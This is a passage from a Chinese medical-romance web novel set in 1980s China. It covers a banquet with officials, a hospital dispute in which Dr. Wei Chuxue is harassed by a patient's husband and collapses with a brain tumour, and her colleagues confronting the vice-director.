“不会呀,”南栀说,“陆随身体不好嘛。” 南栀:她怎么会和病人抢食? 箫珵:……这就是真爱? 箫珵调整好混乱的大脑,“是这样的,你现在可能不懂,但你将来肯定用得到。有些事吧,还是比较重要的,如果陆随身体太弱,我还是建议你和他保持距离。” 南栀茫然地看着箫珵。 箫珵:“这件事很重要!” 南栀怕箫珵着急,赶紧说:“我真不介意。” 箫珵:“!!” 陆随给他妹妹灌了什么迷魂汤?! 箫珵捶胸顿足,十分无力。 开车的陆随疑惑地回头。 箫珵:“开你的车!” 陆随:“……” 酒局是医药公司的代表张罗的,在临川市最大饭馆的包间里,点了十几个菜。 一边是市里的领导,一边是副院长,两边都得招待好。 “唉,天天这样喝,早晚要进ICU,多亏汤院长还会带韦医生来,不然这局真是没意思。” “嗐,挣钱嘛,都得喝。” 不过能有个美女医生一起陪着喝,倒是很不错。 人家韦医生家世还好,能陪着一起喝都是给他们面子,韦医生还特别努力。 参加酒局的人陆续到齐。 汤兴生来得最晚,他和那帮兔崽子纠缠的时间太长。 领导已经到了,在康宁医院像模像样的汤兴生对着领导点头哈腰,反倒是箫珵和韦宁雨根本不怕。 主要是没必要怕,人家根本不认识他们。 汤兴生介绍道:“这两位都是医院年轻人中的翘楚。” 韦宁雨的腰板越来越直。 他都是翘楚了? 早说啊,早说他就来了! 多加两个人不是什么大事,几位领导寒暄几句,挨个落座。 他们心里都清楚,大家都不是奔着吃饭来的,白酒很快端了上来。 半杯酒下肚,领导们意气风发,“今天有很多年轻人,年轻人就得多学习啊!” 折磨年轻人也是他的乐趣之一。 刚工作没多久的年轻人坦率可爱,劝喝酒也不敢拒绝,最有趣。 领导先给韦初雪倒酒,“初雪是老熟人了,初雪的酒量是真不错,将来大有可为。” 韦宁雨嘴角抽动,“会喝酒就有前途啊?” 箫珵跟着笑笑。 领导:“……” 不能和年轻人计较。 他热情道:“你们两个能喝点儿白的?啤的可不行。” 他边说边把倒满的酒杯递给韦初雪。 韦初雪现在的状态实在不宜饮酒。 她为难地看向汤兴生,但后者正在和其他人说话,没注意她。 其实汤兴生是不怎么管她的,有好处也有坏处。坏处是他的确不太关心她,好处是他也不会干涉她要做的事,很多事上他都会放权。 韦初雪想到南栀被陆随和箫珵护着的样子。 如果她没发现那个秘密,或许她现在比南栀过得还幸福。 韦初雪不动声色地接过酒杯。 她正要说几句客套话,韦宁雨忽然起身走过来,他拿起酒瓶,先给自己倒了满满一杯,“她酒量不行,我敬您。” 领导不太高兴,这年轻人太冒失。 汤兴生是怎么搞的,带人来也不提前说一声,带的还是个冒失的人。 韦宁雨先打样,端起杯子一饮而尽,接着笑吟吟地继续倒酒。 领导:“……” 他来了兴致,“小伙子酒量可以啊!” 韦宁雨嬉皮笑脸道:“以前经常跟着我爸喝,他特别能喝。” 他顺势把韦初雪挤开,“去去,一边去。” 韦初雪:“……” 她看了韦宁雨一眼,知道他是在解围,便向角落躲去。 韦宁雨跟着领导喝了一杯又一杯。 他平时做小生意,就靠嘴皮子利索,只要他愿意,死人都能被他一张巧嘴说成活人。 一瓶白酒很快被喝完,领导根本不尽兴,开始拉着韦宁雨称兄道弟。 韦初雪:“……” 她看向箫珵,“他还有这本事?” 箫珵道:“他是你哥,你问我?” 韦初雪:“……说不定是我先出生。” 韦初雪的父母与韦宁雨相处很不愉快,他们也没仔细算过究竟谁的年纪更大些。 箫珵说:“还是当妹妹好,有人照顾。” 说完,他停顿两秒,自嘲道:“也不一定,也有人当哥哥都当不好。” 韦初雪没听出箫珵的弦外之音,她看向韦宁雨,从前她真的没好好了解过他。 在得知韦宁雨“不求上进”后,她基本上就放弃与他交往了,她不喜欢浪费时间。 但是,酒量好也算优点吧? 几个领导喝开心了,纷纷掏出烟来,韦宁雨赶紧给他们加酒,“领导们,有女同志,咱再喝点儿?” 这话听得汤兴生都不敢大喘气。 韦宁雨也太猖狂了,吃饭时抽烟喝酒再正常不过,这话他也敢说? 然而几名领导竟真的听话地收起烟,“好好好,再喝!不醉不归!” 领导们也不是傻子,不能真的和韦宁雨一对一的喝,每个人和韦宁雨喝点儿最好不过。 韦初雪有些担心,“这样喝下去,他会醉吧?会不会出事?” 箫珵盯着韦宁雨看了好一会儿,说:“有可能。” 韦初雪:“我去帮他。” 箫珵说:“领导真有可能出事。” 韦初雪:“?” 她看向喝得正开心的几人。 领导们个个微醺,扶着桌子吹牛大笑,韦宁雨巧舌如簧,游刃有余地在几人中游走。 韦初雪:“……” 这些领导个个都是人精。 她忍不住问:“他有这本事,为什么非得留在儿科做护士?” 箫珵耸肩,“我和儿科也不是很熟。” 韦初雪:“……” 他都快住在儿科了。 饭店里喝着,陆随和南栀在楼下车里等,南栀担心他们都会喝醉,汤兴生一个人弄不了这么多人。 其中还有女生,更得注意安全。 南栀去买了些油饼,和陆随在车里随便吃点儿。 南栀很抱歉,“你现在最该补补,拉着你一起等,你肯定很累。” 陆随这几天一直被心外的几个人渣笑话。 再听到“补”字,他也觉得奇怪。 这事有重要到箫珵也要和南栀谈吗? 陆随说:“没事,感觉还好,我一直有复查。倒是阿姨……” 陆随看向南栀,奇怪道:“到底让我补什么?” “补身体呀。” “我也没那么虚弱吧?” 需要天天喝汤吗? 再想想他们几人的笑,陆随觉得事情没那么简单。 陆随问:“你怎么和阿姨说的?” 南栀如实道:“我妈总催婚、催孩子,我说你不太方便。” 催婚,不方便,这不用管。 催孩子,不方便…… 陆随:“……” “你指的,该不会是某一方面的不方便吧?” 南栀问:“哪方面?” 陆随:“……” 他虽说也没有胡乱逛过某些网站,但青春期的一些反应,该有的都有。 作为男人,怎么也得懂一些。 陆随试图和南栀解释,“就是,男女之间的一些事。” 南栀眨眨眼。 陆随说:“和生孩子有关的事。” 南栀:“**?” 陆随:“好了别说了!” 他打开窗,郁闷地扇风,吹了好一会儿风,脸颊还是滚烫的。 难怪他们会怪笑! 南栀追问:“这有问题吗?咱俩又不能真的生孩子,肯定要说一方有问题呀,我无缘无故地不会去做检查,只能是你了。” 陆随:“……” 要气坏了。 但即便生气,他还得给南栀竖大拇指,“很有逻辑,下次别说了。” 南栀很奇怪,“这件事让别人知道不好吗?” 陆随:“……好,好好好。” 南栀帮陆随把油饼分好,“那就行,我就这样搪塞他们了,我还拿了小咸菜,挺好吃的,你尝尝,想吃什么的话我再去买。” 陆随:“……” 真是好极了。 他不能和南栀计较这件事,主要也是不知道怎么计较。 陆随接过油饼,“为什么要帮我分好?” 这点儿小事,他应该能自己做?真把他当病人照顾? 南栀有理有据,“你是外科大夫,要保护好手啊,而且你的手那么好看,伤了多可惜。” 陆随:“……” 脸颊又诡异地红了。 “其实这只是小事,而且你也要上台。” 南栀认真道:“你的脸也很好看,最好都保护好。” 她凑近陆随,仔细看了看,“比例真好诶。” 陆随顶着大红脸趴在车窗上,老实了。 饭局到十一点才散场。 和后世相比不太晚,后世的饭局喝完一顿,还有第二趴。 但现在是晚上八点人人关灯上床的年代,就显得很晚了。 韦宁雨的状态还好,脸有点儿红,步伐有点儿飘,但整体状态不错。 他和韦初雪一起扶着箫珵出来。 箫珵已经无法自己行走,看见谁都乐呵呵地笑了。 南栀赶紧过去帮忙,“怎么喝了这么多?这些人也太过分了。” 话音刚落,汤兴生几人艰难地扶着领导们走出来,每个领导都不省人事。 南栀:“……” 没事了。 韦宁雨道:“本来我帮忙挡酒好好的,一个领导非去和箫珵说话,他是一点儿都没夸张自己的酒量,说一点儿就是一点儿。” 喝了不到一杯就醉了。 在被领导们叫住前,几人手忙脚乱地把箫珵扶上陆随的车。 韦宁雨又跑去帮忙照顾领导 们,让他们先走。 南栀有点儿担心,“他一个人能应付吗?” “能,”韦初雪说,“他留了所有领导的联系方式,所有人都和他拜把子称兄道弟,他的生意要更上一层楼了。” 南栀:“……” 有人在酒桌上痛骂酒桌文化,有人趁机积攒人脉赚钱。 韦宁雨在和钱有关的事打交道时,完全不用担心,陆随便先开车离开,他得把箫珵和韦初雪送回家。 为了方便照顾箫珵,南栀和他坐在后排,韦初雪坐副驾。 陆随一想到原主曾经对韦初雪有好感就头疼,他不知道该如何处理这种关系。 比如,该不该主动和韦初雪说话? 说吧,不知道说什么。 不说好像又不太好,而且韦初雪又一直看着他,好像有话说。 陆随勉强笑笑,“韦医生……” 韦初雪打断他,“你要对南栀学历的事多上心,现在不比从前,学历越来越重要,她被学历卡得太死了。” 陆随:“……” 哦,说南栀啊。 陆随自在很多,“我和家里提过了,南栀如果有意向,他们会帮忙。” “那就好,你们家人多好办事。” 后排也很热闹。 箫珵从口袋里拿出好些宝贝,“奶糖,我偷的。” “橘子糖,我偷的。” “牛轧糖,我偷的。” 他把糖在南栀面前晃了晃,迅速收起来,“给我妹妹吃,不给你。” 南栀:“……” 韦初雪惊讶道:“箫珵有妹妹?” 陆随含糊地解释,“听说是有表妹堂妹的,搞不清楚。” 韦初雪看向耍酒疯的箫珵。 箫珵平时就对南栀絮叨,喝醉了酒就更絮叨,“她很可怜,出生就不讨爸妈的喜欢,她是双胞胎,弟弟发育不好,她一切正常,爸妈总说是因为她弟弟才身体不好。” 在不面对南栀时,箫珵还是挺有大神范儿的,看起来随和,但也会让人感到有距离。 韦初雪还从没见过箫珵这副样子。 陆随一直从后视镜中看南栀。 弟弟?双胞胎?从来没听她提过。 南栀低声道:“好了好了,这些事她都不记得了,你就别惦记了。” “怎么可能不记得?”箫珵捶了捶头,有点儿痛,“你不知道,她小时候最敏感了,尤其是弟弟发病去世后,她小时候敏感,长大就都忘了?不可能。” 陆随再次看向南栀。 韦初雪问:“她爸妈在怪她?” “可不是在怪,弟弟死的时候,他们在玩捉迷藏,爸妈说她是故意的,故意要害死弟弟。妈还带她去……” 箫珵头痛欲裂。 韦初雪道:“还有这种人?弟弟身体不好,又不是她的错。” 南栀沉默。 她真的已经很久没想过这件事了。 因为弟弟身体不好,父母永远在关注弟弟,南栀只能跟着箫珵一起玩。 弟弟从小就做各种手术,童年几乎是在医院度过的,他们难得见面,南栀很高兴。 她想对弟弟好一些,这样爸妈会高兴,但是没过多久弟弟就去世了,而且是在和她玩时离开的。 后来爸妈就再也没原谅过她。 陆随先到箫珵家,又去韦初雪家。 韦初雪的父母见她回来得晚,还批评了几句,说她不懂得爱惜自己。 陆随和南栀不方便听,赶紧走了。 陆随最后送南栀。 南栀的家是最远的,还要走一段小路,车开不进去。 陆随坚持送她到家门口。 南栀很担心,“可你把我送过去,还要自己出来。” 陆随点头。 南栀说:“还不如我自己进去,我总比你强吧?” 陆随:“&%*¥#?!” 在南栀心里他就这么弱?? 南栀肯定地点头,“真的很柔弱。” 陆随:“……” 他抓住南栀的手腕举起来,“你是不是有点儿过于猖狂了?” 南栀挣扎几下,陆随纹丝不动。 南栀:“那还是你厉害。” 陆随把南栀拎进去。 原本该立刻走的,结果黄春兰担心南栀的安危,一直在院子里等,正好遇到。 黄春兰热情地把陆随迎进去,“天这么晚了,干脆在家里住下,家里还有空房间,铺个被褥就能住。” 陆随客气道:“不用了,我现在回家来得及。” 南栀很支持黄春兰的提议,“你这么柔弱,还是留下吧,走夜路多危险。” 黄春兰担忧道:“是啊,得好好补补。” 陆随:“……” 他要和南栀拼了! 陆随被迫留宿。 黄春兰去取被褥,陆随跟着南栀去她的房间。 进去后陆随才发现,南栀房间的布置很诡异。 书桌和衣柜都紧贴着床,床被紧紧包围,根本没有能上去的地方。 陆随问:“你这是?” “有安全感呀,”南栀在衣柜里翻出新的毛巾给陆随,“一个人住多可怕,这样就不会害怕了。” 陆随想到箫珵的话。 她是真的不在意小时候的事,还是装作不在意? 南栀想装是装不了的,她是直肠子,不懂弯弯绕绕。 那就只能是她在暗示自己不要在意,而且成功了。 “我家没有睡衣,我都直接穿背心休息,你凑合一晚吧,要我给你找个背心吗?” 陆随摇头。 今天他敢穿南栀的衣服,明天箫珵就敢扒了他的皮。 除此之外,南栀房间里还有些灌满水的水桶,大小都有。 南栀给陆随演示,“这些当杠铃用,可以锻炼,对了,明早一起去跑步吗?” 陆随很难拒绝。 她的生活里好像只有一件事,那就是做医生。 黄春兰铺好床,叫陆随过去休息,陆随犹豫片刻还是问道:“她一直这样吗?” “谁?” “南栀,她的床一定要被围起来?” 说到这事,黄春兰也很困惑,“以前不这样的,就是从她落水开始,就喜欢这样睡,而且晚上睡觉一定要锁房间门,以前的锁都是坏的,她特意给修好了。” 黄春兰问:“是不是有人欺负她了?” 第64章 第64章人设 韦初雪在给汤兴生办事之前是肿瘤科的医生,现在也属于肿瘤科,偶尔排班排到她,就会去坐诊。 她研究肿瘤已经很久,癌症病人越来越多,却没有很好的治疗手段,只能看着他们慢慢走向生命的终点。 韦初雪每天见到的患者,可能有三分之一是恶性肿瘤。 很多人拿到结果便直接回家去了,不会再来医院看病。 最初,韦初雪以为,是百姓不够重视,普及不到位,后来才明白,他们是认为自己的命不值那么多钱。 但人命怎么能用金钱衡量? 韦初雪决定继续深入研究,希望能找到合适的抑制、治愈手段,但她见到的只是一个又一个处于绝望中的患者。 现在她马上也要变成其中一个。 她看了一天的片子、病历,头又有些痛,吃了药也没好转。 韦初雪看了眼时间,离结束还有半个小时。 她揉了揉头,继续叫号。 隔壁的医生提醒道:“这俩人不是善茬,来过几次了,你小心。” 一对夫妻走进来。 女人身材干瘦,只能在丈夫的帮衬下勉强走几步。 她说话很不清晰,含含糊糊,一抬头看丈夫就开始掉眼泪。 男人穿得倒是斯文,还戴眼镜,这会儿戴眼镜的都会被认为是知识分子。 他的声音却很野蛮:“医生,我们来这看病,你就让动手术,你也没说手术后她会脑梗啊,你看看,现在都不能走路,大小便失禁,这活着和死了有什么区别?!” 韦初雪扫了一遍女人的病历。 乳腺癌,曾在康宁医院开刀,没过多久便脑梗,两年中复发很多次,治疗也不够及时,经常拖着不来医院。 韦初雪耐心解释道:“治疗乳腺癌的药物中,比如抗血管生成药物,的确可能导致高血压,增加脑梗的风险,这些治疗前肯定说过了,无论如何不能任由乳腺癌继续发展。至于你妻子现在的情况,如果有大小便失禁,可以做针对性的治疗,比如……” “行了,”男人不耐烦道,“就是接着让我们花钱治呗?我活一辈子,都不一定能赚这么多钱,你们医院就逮着我们普通老百姓坑?!” 韦初雪的头隐隐作痛。 她不再解释,提供了医务部的电话,“如果你们对治疗过程有疑问,可以去医务部反映,医院会派人调查。 ” 旁边的医生试图帮忙说话,“治疗前我们肯定会把并发症、后遗症包括使用药物会有的症状都告诉你们,你们认真……” 男人根本听不进去。 “好啊你,又开始敷衍我们了?!老婆,你看见没,你就是被庸医治成这样的!你还非要来医院,来医院干什么?没病的人都能治出病来!” 男人聒噪的声音在韦初雪脑中挥之不去,她的头越来越痛。 韦初雪耐心渐无,冷笑道:“既然没病,为什么来医院?来看热闹?” “你怎么说话的?怎么说话的!”男人暴怒,丢下妻子朝韦初雪走来。 女人本就需要依靠丈夫才能站立行走,男人一走,她便向左倒去,韦初雪起身想去扶女人,却被她丈夫挡住去路。 “你嘲笑我们?她现在这样,难道不是你们治的!” 女人没有助力,摔倒在地。 她倒下后又哭又笑,双腿轻轻挪动,似乎是想要站起来,但已经没有这个能力。 韦初雪虽然气他们的态度,但看到患者如此,还是不忍心,她说道:“请你扶好病人,如果要离开,要先让她坐下。” 男人没有去扶妻子,反而暴躁道:“你还倒打一耙?!你看看人现在都成什么样了?” 他迈过妻子打开诊室的门,“让大家伙看看,看看你们医院把人治成什么样了!” 肿瘤科门口的人不如儿科多,但也不算少。 大家聚在诊室门口向里张望,一看见有人倒下,便窃窃私语。 医生赶紧给主任打电话。 韦初雪脸色难看,她蹲下身扶起女人。 男人不依不饶地推搡着她,“你得对我老婆负责,明白吗?!” 韦初雪甩开男人。 “看看,大家都来看看,做医生的治不好病,还动手打人了。” 韦初雪和医生一起把女人扶到椅子上坐好。 医生道:“你有骂人的功夫,能不能管管你老婆?她的死活你都不管?” 男人面不改色,“我就是要让大家伙看看你们医院的真面目!” 韦初雪脑中紧绷的那根弦似乎断了,她讥讽道:“你要多少钱?” 男人一怔,眼中流露喜色,但只是一闪而过便掷地有声道:“我只要我老婆,钱能换回命吗?!” “命?”韦初雪道,“你来闹过很多次了,不就是为了钱吗?你妻子的病是医院造成的吗?她乳腺癌至今没有复发,脑梗你们也不及时来治疗,现在找医院算账,不为钱还能为了什么?你给个痛快话。” 门口的人露出轻蔑的笑容。 都两年了,现在来找医院是为什么,谁不清楚? 再说了,药物本身就有副作用,他们不清楚? 男人恼羞成怒,走上前拽住妻子,“你们主任在哪,领导在哪,我要见院长!” 场面混乱。 十分钟后肿瘤科主任和汤兴生才都赶到。 男人被拉走,脖子到现在都是红的,韦初雪站在一旁,头发有些乱,冷漠地看着男人。 男人趾高气扬道:“我也不瞒你们,我已经找好报社了,我要曝光你们的行为!” 汤兴生拧起眉,“这件事我们可以再讨论,你的妻子生病,我们谁都不愿意看到。” “这是生病的问题吗?这是态度问题!你们医院的医生是什么态度?有这样和病人说话的吗?!” 汤兴生看向韦初雪,“初雪,你先道个歉吧,都是误会。” 韦初雪不可置信地看向汤兴生。 她知道她和汤兴生是上下级关系,没指望汤兴生能护着她,但也没想过他会让她道歉。 她凭什么道歉? 汤兴生腰间的传呼机响起来。 他叮嘱道:“这件事好好处理,初雪收收脾气,我还有点儿事,得去一趟。” 韦初雪死死盯着汤兴生,她这几年的努力就像笑话。 她看向男人,一字一句道:“今天我就算不干了,也不可能给你道歉,你不管你妻子的死活,你想靠她要钱,你就是个人渣。” 说完她转身要走,眼前却是一黑,双腿发软,向下跌去。 似乎有人在叫她的名字,但声音越来越小,意识也越来越远。 * 南栀上班前还拉着陆随跑了三公里。 她振振有词道:“你身体虚弱,得多锻炼,不然以后会更糟糕。” 黄春兰和南明杰投来赞同的目光。 陆随:“……” 所以在南栀家人心目中,他其实是一个虚弱的人。 恩…… 跑完三公里的南栀微喘。 陆随喘得比南栀厉害些。 陆随:“……” 行吧,他是。 南栀今天刚到门诊就遇到一个已经断断续续发烧三个月的四岁女孩。 患儿母亲称他们已经去过临川市所有医院,每个医院都给出了不同的诊断,但都没能让情况好转。 “有的医生说孩子是免疫系统的问题,有说是普通感冒的,什么办法都试了,发烧就是好不了,我这半年什么事都没做,光在家照顾她。” 小女孩发烧时的症状和病毒性感冒相似,验血也没查出有问题,包括在其他医院做的检查,指标都是正常的。 阮乔问:“去过耳鼻喉科吗,鼻窦炎腺体肥大,堵塞太多也容易引起感冒发烧。” 家长愁道:“都去过了,没什么问题,儿童医院每个科室我们都去看过,每次都是开一大堆检查,但是查不出发烧的原因。” 小女孩有一沓病历。 南栀一张一张翻着看完,道:“有医生提过周期性发热吗?” 家长摇头。 “如果用了足够的抗生素仍然反复发烧,可以考虑周期性发热。” 阮乔问:“怎么治?” 南栀道:“其实这种情况并不罕见,有的孩子会发烧几个月,时间长的可能两三年,查不到原因,直到某天突然好了。” 阮乔惊讶道:“能自愈?” “说不准,”南栀也是在后世看到过一些类似的病例,“一直查下去,可能找到原因,也可能找不到原因,很多患儿都是自愈的,自愈后都不知道为什么会反复发烧。” 很多家长被折磨得不行了,最后放弃继续治疗,只当作普通的感冒发烧。 家长问:“您看我们的情况该怎么办?” 南栀道:“你也别太焦虑,孩子的其他指标都不错,这是好事,如果不放心的话,再做几个检查排查。” 家长点头,“做,肯定得做,这是我女儿,能看着她总发烧吗?” …… 一上午都是感冒发烧之类的病例。 小朋友们总能感染上各种不同的病毒。 上午的门诊结束,阮乔已经要累瘫了。 “我以为在住院部够累了,没想到门诊更累。” 不但要看诊,还要想着住院部的病人。 阮乔说:“你看啊,井珧那小子又发烧住院了,值得表扬的是这次间隔的时间很久,而且一住进来就嚷着要出院。还有一个肺炎的,在家烧了三天,家长一直带去诊所打针,结果烧一直没退,烧成肺炎了。再就是卢思萌,她家里挺有钱的,照看孩子是真不上心,又不太好了。” 把住院部的患儿数一遍,阮乔都想上吊。 她当初怎么就选了儿科?挣钱少、累、没前景,狗都不选! 南栀道:“别着急,慢慢来,有时间的话我陪你去看看。” 阮乔撒娇道:“栀栀最好了。” 去食堂前,韦宁雨慢悠悠晃过来,满脸都是胜利的喜悦。 “昨天那几个哥真不错,仗义,说要帮我联系出版社,居然真联系了,栀栀,你把笔记整理整理,咱们看看能不能出书!” 南栀:“……” 没想到她回到八十年代做起了教辅。 就后世的情况来看,这还真挺赚钱。 南栀点头。 “栀栀太吃亏了,没学历,不方便评职称,”阮乔惋惜道,“如果你有韦初雪的学历、背景,你早就是教授了,现在直接去医科大学给他们当老师!” “等等,”韦宁雨不同意,“当老师就得无私分享笔记,我们还赚什么?栀栀,咱不当这个老师!” 阮乔:“……” 她时常怀疑韦宁雨的身体是用钱做的。 “你都是韦家的孩子,身价飙升了,你总想着赚钱做什么?会去管你爸妈要一点儿多好。” 韦宁雨看起来十分正义,“男子汉大丈夫,怎能为五斗米折腰?绝不!” 阮乔嘴角抽动,“八成是人家不肯给你。” 韦宁雨笑嘻嘻道:“这都被你猜到了。” 三人说说笑笑地往食堂走。 食堂门口,南栀刚进去便闻到炸鸡块的味道,脖子都快伸到窗口去了。 几人恰好遇到陆随。 其他科室的医生已经习惯他们几人总聚在一起。 以前康宁医院最辉煌的科室就是心血管,尤其是外科,年纪大的有返聘的老主任,年轻的有陆随和箫珵,这配置放到任何一家医院都是王炸。 现在儿科可不得了了,最近医院的大事件,儿科都是焦点。 要不怎么说人家厉害的喜欢在一起玩儿呢。 南栀叫来陆随,认真地叮嘱,“今天有炸鸡块,你多吃点儿哦,好好补补。” 阮乔投来同情的目光。 陆随:“……” 他现在听不得“补”字。 陆随迅速转移话题,“听说韦初雪住院了。” 阮乔:“哈?韦初雪去住院部了?” 韦宁雨道:“她的性格能去住院部?不得把病人撕了。” 南栀却立刻明白过来,她把饭盒交给阮乔,“哪个科室,我去看看。” 陆随说:“好像是神内,你知道?” 南栀点点头。 韦宁雨反应过来,“不是去住院部,是住院?我理解得住院吗?” 南栀还记得答应韦初雪不告诉别人,便没多解释。 陆随和韦宁雨同时把饭盒交给阮乔,“帮我打饭。” 阮乔:“……” 不是,这也要成群结队去吗? 这对吗?! 这……她也想去啊! 韦初雪住的是三人病房,科室主任亲自过来,“初雪啊,不是我说你,你也太不注意自己的身体,这都能瞒着?这多大的事,能瞒多久?” 韦初雪道:“我心里有数。” “拍了片子看到结果还不去治疗,这叫心里有数?这要是让你爸妈知道了,他们非得杀过来找我们算账,你才多大?还能治!这能放弃吗?!” 韦初雪不知道怎么解释,“我不是放弃,我只是想再等等。” 南栀几人走进来。 神内的主任看过来,“这风风火火的,打劫来了?幸好我还认识个陆随,不然得被你们吓死!” 韦宁雨赔笑道:“不好意思啊主任,我们来看看韦医生。” “你们?”主任看看双方,精准地评价道,“看起来就不对付,小陆,你带的这两位都是心外的?” 南栀自我介绍道:“您好,我是儿科的南栀。” 主任:“……” 儿科?听起来更没关系。 南栀走到韦初雪身边问:“怎么突然愿意住院了?” 主任说:“这哪是突然愿意,是晕倒被发现了,迫不得已住院。我不让人把她扣在病房,她还不乐意。” 韦宁雨好奇地看着韦初雪。 这个脾气极差,脑回路奇怪还极度强势的妹妹居然也会晕倒哦。 南栀问:“是恶化了吗?” “又给她拍了片子,片子看的话还好,没怎么长,但是必须马上去做手术,不能再耽搁。” 韦宁雨听出点儿不对劲,“等等,要做手术?什么病这么严重?” 主任冷笑,“你都来我们神内了,还不知道严重?胡闹,都胡闹!汤兴生也胡闹!” 韦宁雨看到韦初雪床头柜上的片子,他走过去翻开,陆随也顺带着看了一眼。 韦宁雨不太懂片子,但是认字,CT的报告单上清楚地写着,韦初雪有脑瘤,还有脑积水。 脑瘤,离韦宁雨的生活不远,但离他身边人很远。 韦宁雨大脑一片空白。 韦初雪会生病?不会啊,她讨厌得很,总是瞧不起人,他第一次见到韦初雪就不喜欢她,有两个月他们都住在韦家,但说过的话不超过五句。 “为什么?”韦宁雨问,“这是你的片子?你有脑瘤,我怎么不知道?” 主任骂道:“何止是你,连我都瞒着!看我不把给你拍片子的小医生撕碎了,他人在哪?!” 陆随赶紧安抚,“您别着急,这不是知道了吗?” 提到这,主任更生气,“是知道了,但是怎么知道的?家属来闹,被气晕了!真不知道那些人怎么办事的,都知道是来闹的,就不能拦着!” 南栀惊讶,“有人找你麻烦?解决了吗?告诉医务部了吗?” 主任冷哼,“可不解决了,汤兴生让她去道歉呢。” 南栀沉默。 把医生解决,确实也是解决了。 汤兴生是医生,但也是副院长,当院长太久,大概忘记自己曾经也是普通医生。 韦宁雨转身往外走。 “这又干嘛去?又疯了一个?男的女的小的老的没一个让人省心的!” * 汤兴生正在接待两个重要客人。 这二人都是改革开放后创业打拼的企业家,在临川市的经济实力不容小觑,汤兴生自然重视。 “肝移植和其他移植手术不太一样,肝脏移植的配型要求相比较来说要低一些,肝脏的再生能力和免疫性决定了这一点,咱们国家已经做过很多肝移植、肾移植的手术了,在期刊上都是能看到相关的论文的,我们康宁医院也曾做过肝脏移植手术,通常情况下,供体和受体的血型符合输血原则就能够做肝脏移植手术。” 两位老总眉头紧皱,“谁都能提供?这能行吗,随便找个人的肝脏放在我身上,它就能好好长了?要不咱还是配型找个更合适的?” 汤兴生笑道:“当然可以,您的情况没那么紧急,还可以再找找,如果是急性肝衰竭,那就不可能再等了,必须立刻移植。” 老总的眉头这才舒展,“这就对了嘛,总得找个合适的,去配型,花多少钱都行,要最保险的,我必须还得再活十年!” 老总财大气粗,不在意这点儿钱。 他们医院将来少不了这些人的支持,当然得答应老总的请求。 汤兴生正要再说上几句,韦宁雨突然闯进办公室。 饭局过后,汤兴生对韦宁雨的印象很深,他打算以后出去喝酒吃饭都带上韦宁雨。 这开拓人际关系的速度真没几个人能比得上! 汤兴生原本不太高兴,看到韦宁雨后又笑起来,“小韦啊,有事吗?” 韦宁雨表情僵硬,努力忍着才没骂出来,他问:“你什么意思?” 汤兴生:“?” 南栀和陆随紧跟着走进来。 人太多,汤兴生不好挽回面子,他看了老总一眼,板起脸,对几人说道:“你们先出去,没看我在和蒋总谈话吗?” “我管你蒋总还是王总,”韦宁雨径直走过去,“你为什么让韦初雪和病人道歉,病人乳腺癌,术后又得了脑梗,和韦初雪有关系吗?” 汤兴生蹙眉,看向南栀,“还不快把你们科的人带走!” 陆随:“?,您说话客气点儿。” 汤兴生:“……” 两位老总露出神秘的笑容。 就算汤兴生脾气好,也没法接受手底下的医生给他甩脸子,还是当着外人的面。 传出去他还怎么管理其他人? 汤兴生隐隐动怒,“你们三个,简直无法无天,有什么事等会儿再说,都回去写检查!韦宁雨!你是最明事理的,这点儿事你还不懂?!” 陆随:“?” 他不明事理? 真不明事理的南栀走过去,“我也认为您不该让韦医生道歉,做医生的只希望病人能好好地出院,病人患有乳腺癌,必须治疗,这是没办法的事,而且当初做接诊、做手术的都不是韦医生,不能放纵他们来找麻烦。” 陆随道:“如果所有病人都学他们,医院只会有赔不完的钱。” 汤兴生的头都快炸了。 这三个人是疯了吗?当着外人的面说这些?这重要吗?不就是有个来找麻烦的病人吗?谁不知道他是为了什么,最多出点儿钱打发走了就得了! 南栀嘀咕道:“而且您对下属也太过分了,看出韦医生神色不好,昨晚还要她去酒局,本来就不舒服,再喝酒能好吗?” “怎么又扯到昨天了?!”汤兴生要疯了,“不就是道个歉吗,你们三个至于吗?不是,你们和韦初雪的关系有这么好?!” 南栀道:“反正您的处理不公平,我们没法接受。” 韦宁雨道:“要我去道歉,那干脆辞职好了,凭什么道歉?” 这俩人一个失去理智,一个不把理智当回事,汤兴生只能向看起来最正常的陆随求助,“你赶紧把他俩带走。” “汤院长,”陆随道,“韦初雪刚刚晕倒了。” 汤兴生愣住,“最近太忙了?哦,那是该让她好好休息几天,我给她批假。” 他又不是周扒皮,韦初雪真说累了,他还能不让她休息? 陆随笑笑,“休息几天恐怕没用。” 汤兴生:“?” 韦宁雨道:“她有脑瘤,不知道是良性还是恶性。” 南栀补充,“还有脑积水。” 汤兴生收回在翻请假单的手,他愣了好一会儿才问:“你说什么?” 南栀躲在陆随身后笑笑,“要不您给治吧,我们也可以学患者来闹一闹嘛,您记得给我们道歉哦。” 韦宁雨说:“要鞠躬,360°的躬,不然我们不接受。” 汤兴生耳畔嗡嗡作响,什么都听不到了。 * 神内的主任按着韦初雪,强迫她做了全面检查。 除了脑瘤外,她倒是没其他小毛病,但新的CT分辨率仍然不高,经验最丰富的老教授也看不出是恶性还是良性。 韦初雪必须去首都做MRI。 南栀下午本来要去门诊,但又想到韦初雪一直不愿意治病,便把门诊那边交给阮乔,留了下来。 她拉着陆随在走廊里讨论,“韦初雪早就知道自己病了,但怎么都不肯去首都治疗。” “光看CT的话,其实是良性的可能性更大,界限还是比较清晰的。” 南栀道:“她说还有没做完的事情,我说帮她,她不肯告诉我。” 陆随想了想,“和她的朋友有关?她有个朋友在恩德医院自尽了,她好像很在意。” 南栀想不明白,“是生病自尽?如果是自尽,也谈不上报复?还是她其实是被谋杀,韦初雪要去找证据?” 陆随也不知道更具体的信息,韦初雪没怎么提过。 陆随说:“请她父母来劝劝?” “那可不行,”韦宁雨走过来,“她好久没回家住了,和爸妈的关系好像不太好。” 韦宁雨的情绪已经恢复正常。 仔细想想,韦初雪的行为其实很奇怪。 就算出了抱错孩子的狗血事,可爸妈都更喜欢韦初雪,养父母也没有要把韦初雪接走的意思,她明明可以继续留在家里做韦家的孩子。 可韦初雪不仅搬了出去,还很少回家。 陆随道:“那也得通知她的父母,开颅手术不是小手术,你们家条件好,肯定要送到富雅医院。” 南栀好奇道:“富雅医院这么厉害啊?” 韦宁雨道:“我们对你的期望可都是去富雅医院,不过目前为止咱们临川市的医生调去富雅医院的,好像只有两三个人?其中一个就是陆教授。” 南栀对陆嘉述的崇拜更上一层楼。 不过现在不是讨论富雅医院的时候。 南栀道:“想让韦初雪安心接受治疗,必须得知道她说的还没完成的事是什么。” 